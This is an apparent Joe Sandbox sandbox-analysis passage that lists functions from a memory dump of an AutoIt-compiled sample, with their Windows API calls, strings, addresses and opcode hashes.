Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 69f96d12b575dd8e9ef243e987cb3982a2cbaa501edcb9d8ca62a5879a2e170a
Instruction ID: eba3cf527a97425b9d98965ffa2b34252c654f2dc2d62e0dc099b0c5c7b838ff
Opcode Fuzzy Hash: 69f96d12b575dd8e9ef243e987cb3982a2cbaa501edcb9d8ca62a5879a2e170a
Instruction Fuzzy Hash: 51F0BE3200035BBADB161F58AC09FCA3F9AAF06311F048151FE01651E1C3798656DFB5

Function 00D7D623 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00D7D640
GetWindowThreadProcessId.USER32(?,00000000), ref: 00D7D653
GetCurrentThreadId.KERNEL32 ref: 00D7D65A
AttachThreadInput.USER32(00000000), ref: 00D7D661

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 4f48ef5c1e3043c706266aa85641e4816789b5af2d7f4c0338f8020e362fcdf5
Instruction ID: 54f8785c5c9194882ac9e4cc716d3ef9901c02914fed0b255560225f42c1a69c
Opcode Fuzzy Hash: 4f48ef5c1e3043c706266aa85641e4816789b5af2d7f4c0338f8020e362fcdf5
Instruction Fuzzy Hash: 0AE0393114132EBADB205BA29C0DFDB7F2EEF117A1F008020B50CC5160DA719580CBB0

Function 00D7BDF8 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00D7BE01
OpenThreadToken.ADVAPI32(00000000,?,?,?,00D7B9C9), ref: 00D7BE08
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00D7B9C9), ref: 00D7BE15
OpenProcessToken.ADVAPI32(00000000,?,?,?,00D7B9C9), ref: 00D7BE1C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 54e66a86bb2f37c4256377e036e4537c1c05900a92bb7a1a98e42a4aa4cb1304
Instruction ID: 75deaac89aa9bc7c39304cea05431522dbf132bde1b50f14e437e6d6e926c0c0
Opcode Fuzzy Hash: 54e66a86bb2f37c4256377e036e4537c1c05900a92bb7a1a98e42a4aa4cb1304
Instruction Fuzzy Hash: 56E086326413139BD7201FB59C0CFD73BA9EF547A2F048828F645DA150E7388441C771

Function 00D5B0AC Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00D5B0C5
SetTextColor.GDI32(?,000000FF), ref: 00D5B0CF
SetBkMode.GDI32(?,00000001), ref: 00D5B0E4
GetStockObject.GDI32(00000005), ref: 00D5B0EC
GetWindowDC.USER32(?,00000000), ref: 00DBECFA
GetPixel.GDI32(00000000,00000000,00000000), ref: 00DBED07
GetPixel.GDI32(00000000,?,00000000), ref: 00DBED20
GetPixel.GDI32(00000000,00000000,?), ref: 00DBED39
GetPixel.GDI32(00000000,?,?), ref: 00DBED59
ReleaseDC.USER32(?,00000000), ref: 00DBED64

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: d03a21c009bfce7f2c9d890ad601c8a5a0b22806da47e04d056c122b870c28f9
Instruction ID: e18ca0e3acb1ad5d53bd788bdd90c853e17692f924a6b2b6e4e98bbe20d58cf4
Opcode Fuzzy Hash: d03a21c009bfce7f2c9d890ad601c8a5a0b22806da47e04d056c122b870c28f9
Instruction Fuzzy Hash: 22E06D31100342EEEF211F74EC09BC83F22AB06336F088226FA6A980E6C3B18540CB31

Function 00DBC0A0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00DBC0A0
GetDC.USER32(00000000), ref: 00DBC0AA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DBC0C9
ReleaseDC.USER32 ref: 00DBC0E8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 1379fdb01efada05b8cea21d532b5394c3a4b74f5418c89307cebe67eebc3c12
Instruction ID: 8dfb1a51fb26ecec119045196af29cceadce1c56d2c837bdadfd359b54728da1
Opcode Fuzzy Hash: 1379fdb01efada05b8cea21d532b5394c3a4b74f5418c89307cebe67eebc3c12
Instruction Fuzzy Hash: 7CE01AB1540306EFDB006F708C48A697BA6EB48351F118425FC4AC7350DA7499819B24

Function 00D7C066 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D7C071
UnloadUserProfile.USERENV(?,?), ref: 00D7C07D
CloseHandle.KERNEL32(?), ref: 00D7C086
CloseHandle.KERNEL32(?), ref: 00D7C08E

Part of subcall function 00D7B850: GetProcessHeap.KERNEL32(00000000,?,00D7B574), ref: 00D7B857
Part of subcall function 00D7B850: HeapFree.KERNEL32(00000000), ref: 00D7B85E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 65fba9faf7f264f25c8c7f75bcc825fdeaa56ce4a9c57cd5f63c43d346398b34
Instruction ID: dc4516e1b4fe210c15ba15e96b3763b43ef00f0e37de480258ff4f9d3f9cbf18
Opcode Fuzzy Hash: 65fba9faf7f264f25c8c7f75bcc825fdeaa56ce4a9c57cd5f63c43d346398b34
Instruction Fuzzy Hash: 28E0BF36104607BBCB012F95DD09C59FB27FF493613148235F625C1670DB326431EB60

Function 00DBC0B4 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00DBC0B4
GetDC.USER32(00000000), ref: 00DBC0BE
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DBC0C9
ReleaseDC.USER32 ref: 00DBC0E8

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: c83413d7ec8a674e986300d62b6f14caa0b62576497204b45ab8ee498bd2d057
Instruction ID: f1ae357585a7ec4dd7961087df1fa223731e97b3cf3f91d5535aa969f80cd547
Opcode Fuzzy Hash: c83413d7ec8a674e986300d62b6f14caa0b62576497204b45ab8ee498bd2d057
Instruction Fuzzy Hash: 23E04FB1540306EFDB005F70CC48A697BA6EB4C351F118425FD4AC7350DB74A941CB20

Function 00D64C3D Relevance: 6.0, APIs: 4, Instructions: 14threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00D64C3E

Part of subcall function 00D686B5: GetLastError.KERNEL32(?,00D60127,00D688A3,00D64673,?,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D686B7
Part of subcall function 00D686B5: __calloc_crt.LIBCMT ref: 00D686D8
Part of subcall function 00D686B5: GetCurrentThreadId.KERNEL32 ref: 00D68701
Part of subcall function 00D686B5: SetLastError.KERNEL32(00000000,00D60127,00D688A3,00D64673,?,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D68719

CloseHandle.KERNEL32(?,?,00D64C1D), ref: 00D64C52
__freeptd.LIBCMT ref: 00D64C59
ExitThread.KERNEL32 ref: 00D64C61

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ErrorLastThread$CloseCurrentExitHandle__calloc_crt__freeptd__getptd_noexit
String ID:
API String ID: 408300095-0
Opcode ID: b3a4a0c8a4390e0c192e04f47485d1573a9e84e717b6f679bebeba8c2536771d
Instruction ID: f7ba27127968c78b922117dd347e33a8b9217573b0fee088e94a4d410c5576ff
Opcode Fuzzy Hash: b3a4a0c8a4390e0c192e04f47485d1573a9e84e717b6f679bebeba8c2536771d
Instruction Fuzzy Hash: 7AD0A731402B534FC1352760CD0DE0D36519F01B25B0A4314F035452E0CF20482156B2

Function 00DC2350 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 475COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D467D0

Strings

DEFINE, xrefs: 00DC265C
>, xrefs: 00DC2414

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID: >$DEFINE
API String ID: 4104443479-1664449232
Opcode ID: b6b7349c8407d0fe53c60c125daae37a278362ad09da5d7b5a29e781300d9f9f
Instruction ID: f217bfa73d4ad2d9901c04ff2ce07eb6ecee3ede0999f67bde3efb716dea0951
Opcode Fuzzy Hash: b6b7349c8407d0fe53c60c125daae37a278362ad09da5d7b5a29e781300d9f9f
Instruction Fuzzy Hash: A8123875A0020ADFCB28CF58C490ABDBBB1FF59314F29815AE855AB351D730ED81DBA0

Function 00D7EAD5 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00D7ECA0

Strings

AutoIt3GUI, xrefs: 00D7EC18
Container, xrefs: 00D7EC1F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 04f096101c8c26a7329bf0b9f4d7de39740d8b00449cc55b0a180d1da78b4254
Instruction ID: 051150c39775cbe2a345ae41fa415044fb3580f8a154bd80fd1942422d8a4a3c
Opcode Fuzzy Hash: 04f096101c8c26a7329bf0b9f4d7de39740d8b00449cc55b0a180d1da78b4254
Instruction Fuzzy Hash: 75911874600701AFDB64DF64C885B66BBA5FF49710B1485ADF94ACB291EBB0E841CB60

Function 00D8E704 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D43BCF: _wcscpy.LIBCMT ref: 00D43BF2

Part of subcall function 00D484A6: __swprintf.LIBCMT ref: 00D484E5
Part of subcall function 00D484A6: __itow.LIBCMT ref: 00D48519

__wcsnicmp.LIBCMT ref: 00D8E785
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 00D8E84E

Strings

LPT, xrefs: 00D8E77F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 638c245a5cc0599b3efa48b780d40c57dfab098e24d0fa5fa8772743a1b3653f
Instruction ID: 5a3f1e8777aecf977d2645026556875238d48344ce1e9703b68eaafa6ca2fbd3
Opcode Fuzzy Hash: 638c245a5cc0599b3efa48b780d40c57dfab098e24d0fa5fa8772743a1b3653f
Instruction Fuzzy Hash: 57616D75A00215AFCB14EF98C891EAEB7B9EF49310F05406AF546AB290DB70EE44DF70

Function 00D41B72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00D41B83
GlobalMemoryStatusEx.KERNEL32 ref: 00D41B9C

Strings

@, xrefs: 00D41B91

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 1a51e391775f4029fdb3136957d97e9abbd7547079107bced1c1dfddbc8ec0f5
Instruction ID: e4b2f45a1e70e8bc9c216e6fe92a412c389ce755ef96cbccd6a95e42f3663359
Opcode Fuzzy Hash: 1a51e391775f4029fdb3136957d97e9abbd7547079107bced1c1dfddbc8ec0f5
Instruction Fuzzy Hash: 53513571408744ABE720AF14D885BBBBBE8FB99355F41484DF9C8811A1EB71856CCB62

Function 00D8CE59 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00D4417D: __fread_nolock.LIBCMT ref: 00D4419B

_wcscmp.LIBCMT ref: 00D8CF49
_wcscmp.LIBCMT ref: 00D8CF5C

Strings

FILE, xrefs: 00D8CE91

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 590a343d351aa4611667b91606d13a0c3bf0a96be3242ea3b414e4b45e59dad6
Instruction ID: f65d0d0c432a435c03d22267ba06452a05d16e4c441d119a95b00630f372ac07
Opcode Fuzzy Hash: 590a343d351aa4611667b91606d13a0c3bf0a96be3242ea3b414e4b45e59dad6
Instruction Fuzzy Hash: 81419332A14219BBDF11EBA4CC81FEF7BBAEF59714F00446AF601A7191D7719A848B70

Function 00DAA578 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00DAA668
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00DAA67D

Strings

', xrefs: 00DAA5D1

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 135e03c7738ecd16f850094112cbe6cec772cc1f860b2d9a9df719ce639282d8
Instruction ID: 99bfa768009b077a9411081cc0e18994c4bf8bb664e2486f7a78ece89e270346
Opcode Fuzzy Hash: 135e03c7738ecd16f850094112cbe6cec772cc1f860b2d9a9df719ce639282d8
Instruction Fuzzy Hash: D041F575E0020A9FDB14CFA9C881BDA7BB5FB09300F18456AE905AB381D771A945CFA1

Function 00D957D7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D957E7
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00D9581D

Strings

|, xrefs: 00D9580C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: b96252704a24e7cd9794acc447842d65a333ae28730529aa1916bda3eef5f499
Instruction ID: f6e49b08f093d32e2c748863fb97d23af13f9a0baff72160616f502b483e7ac6
Opcode Fuzzy Hash: b96252704a24e7cd9794acc447842d65a333ae28730529aa1916bda3eef5f499
Instruction Fuzzy Hash: 7E313B71810219EBCF11AFA0DC95EEE7FB9FF18340F104129F815A6166EB319A46DB70

Function 00DA9567 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00DA961B
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00DA9657

Strings

static, xrefs: 00DA95B7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 145ac98f8a184d63c2f36b7177453a7721c75c74dc7f063ad5e46bb1b2448041
Instruction ID: afd29bf5edfa224c19fda2844538b8ae7cda3ea95e2fd9e7884792ab9fde865b
Opcode Fuzzy Hash: 145ac98f8a184d63c2f36b7177453a7721c75c74dc7f063ad5e46bb1b2448041
Instruction Fuzzy Hash: 74319A31500204AEEB109F68DC91FBBB7A9FF4A764F048619F8A9C7190CA31AD85CB70

Function 00D85B75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D85BE4
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D85C1F

Strings

0, xrefs: 00D85BDD

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 72862568ae60151b9ef651d6fe7ea603be110145e3cc4ff37576bbf259892983
Instruction ID: 5a86b894cdcfbe4e3a41e79f8fa463634c00a3e9d8897c7d75db9771fc483e19
Opcode Fuzzy Hash: 72862568ae60151b9ef651d6fe7ea603be110145e3cc4ff37576bbf259892983
Instruction Fuzzy Hash: B331B671600709ABDB24EF99E885BAEBBF5FF05350F1C4019E981D61A8E7B09A44CF31

Function 00D96B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00D96BDD

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

Strings

, $, xrefs: 00D96C1D
AUTOITCALLVARIABLE%d, xrefs: 00D96BCF

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: b8522b7f7cc1e86f2921f24da106cd7c811b2c472303561254e3a84560382838
Instruction ID: d1f1ad4db9516e0b295db8f74e428068f86e8d5c21efc63fdda41e3335c2fff8
Opcode Fuzzy Hash: b8522b7f7cc1e86f2921f24da106cd7c811b2c472303561254e3a84560382838
Instruction Fuzzy Hash: FE213C31600218BFCF10EFA8C882EAE7BA5EF44700F554455F545A7281EA74EA45CBB1

Function 00DA91DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00DA9269
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00DA9274

Strings

